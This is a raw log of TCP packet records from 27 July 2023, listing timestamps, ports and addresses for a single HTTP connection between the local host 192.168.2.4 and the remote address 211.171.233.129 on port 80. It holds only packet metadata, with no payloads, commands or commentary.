Jul 27, 2023 18:26:44.156807899 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156840086 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.156855106 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156902075 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156913042 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.156948090 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.156986952 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.156995058 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157042980 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157063007 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.157092094 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157139063 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157166004 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.157186031 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157233000 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157262087 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.157282114 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157327890 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157414913 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157440901 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.157463074 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157509089 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157524109 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.157557011 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157571077 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.157603979 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157650948 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157699108 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157744884 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157789946 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.157792091 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157839060 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157866001 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.157885075 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157932997 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.157968044 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.157979012 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158025980 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158076048 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158123970 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158126116 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.158169985 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158200979 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.158215046 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158255100 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.158260107 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158305883 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158329010 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.158350945 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158397913 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158443928 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158462048 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.158488989 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158535004 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158536911 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.158581972 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158607960 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.158627033 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158672094 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158716917 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158737898 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.158761978 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158807993 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158812046 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.158853054 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158886909 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.158899069 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158943892 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.158961058 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.158989906 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.159034967 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.159071922 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.159085035 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.159131050 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.159177065 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.159220934 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.159256935 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.213681936 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.412149906 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412229061 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412312984 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412363052 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412410975 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412457943 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412508011 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412558079 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412555933 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.412606955 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412657022 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412705898 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412754059 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412801981 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412849903 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.412898064 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.413134098 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.413219929 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.414710999 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.414777994 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.414829016 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.414879084 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.414930105 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.414978981 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415024042 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415044069 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.415072918 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415126085 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415152073 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.415172100 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415194988 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.415220976 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415270090 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415287971 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.415318966 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415365934 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415411949 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415457010 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.415458918 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415498018 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.415508032 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415554047 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415580988 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.415602922 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415651083 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415678978 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.415699005 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415745974 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415775061 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.415793896 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415839911 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415889025 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415934086 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.415972948 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.415982008 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416028976 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416049004 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.416076899 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416167021 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416208029 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.416215897 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416277885 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.416290045 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416343927 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416415930 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416460991 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.416462898 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416511059 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416548967 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.416558027 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416604996 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416654110 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416662931 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.416702032 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416734934 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.416749954 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416799068 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416846037 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416877985 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.416894913 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416944027 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.416949034 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.416992903 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417032003 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.417041063 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417088985 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417108059 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.417138100 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417187929 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417210102 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.417234898 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417283058 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417323112 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.417330980 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417377949 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417427063 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417452097 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.417474031 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417522907 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417570114 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417584896 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.417617083 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417664051 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417675018 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.417711020 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417738914 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.417757988 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417805910 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417851925 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417860985 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.417898893 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417943001 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.417946100 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.417990923 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418009996 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.418039083 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418085098 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.418086052 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418133974 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418180943 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418181896 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.418226957 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418272972 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418315887 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.418320894 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418366909 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418385983 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.418414116 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418461084 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418492079 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.418507099 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418554068 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418590069 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.418601990 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418649912 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418656111 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.418697119 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418740034 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.418742895 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418791056 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418837070 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418881893 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418927908 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418972969 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.418972969 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.419020891 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419068098 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419081926 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.419117928 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419164896 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419171095 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.419214010 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419224024 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.419260025 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419306040 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419332027 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.419353962 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419400930 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419409990 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.419447899 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419492960 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419516087 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.419539928 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419585943 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419625998 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.419631958 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419678926 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419689894 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.419724941 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419771910 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419775963 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.419822931 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419867039 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.419869900 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419917107 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.419964075 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420001984 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.420010090 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420058966 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420079947 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.420110941 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420135021 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.420157909 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420206070 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420248985 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.420252085 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420322895 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420342922 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.420371056 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420417070 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420463085 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420469046 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.420510054 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420547009 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.420555115 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420604944 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420631886 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.420650005 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420697927 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420731068 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.420744896 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420790911 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420836926 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420866966 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.420882940 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420928955 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.420945883 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.420978069 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421008110 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.421025038 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421072006 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421092033 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.421123981 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421168089 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421214104 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421227932 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.421262026 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421303988 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.421307087 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421354055 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421386003 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.421400070 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421447039 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421494007 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421521902 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.421540022 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421586037 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421598911 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.421633005 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421675920 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.421679020 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421725035 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421756983 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.421771049 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421818018 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421864033 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421868086 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.421909094 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.421943903 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.421957016 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422032118 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422076941 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422127008 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422156096 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.422173023 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422220945 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422238111 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.422269106 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422314882 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422344923 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.422360897 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422405005 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422458887 CEST	80	49691	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:44.422492027 CEST	49691	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:44.422503948 CEST	80	49691	211.171.233.129	192.168.2.4
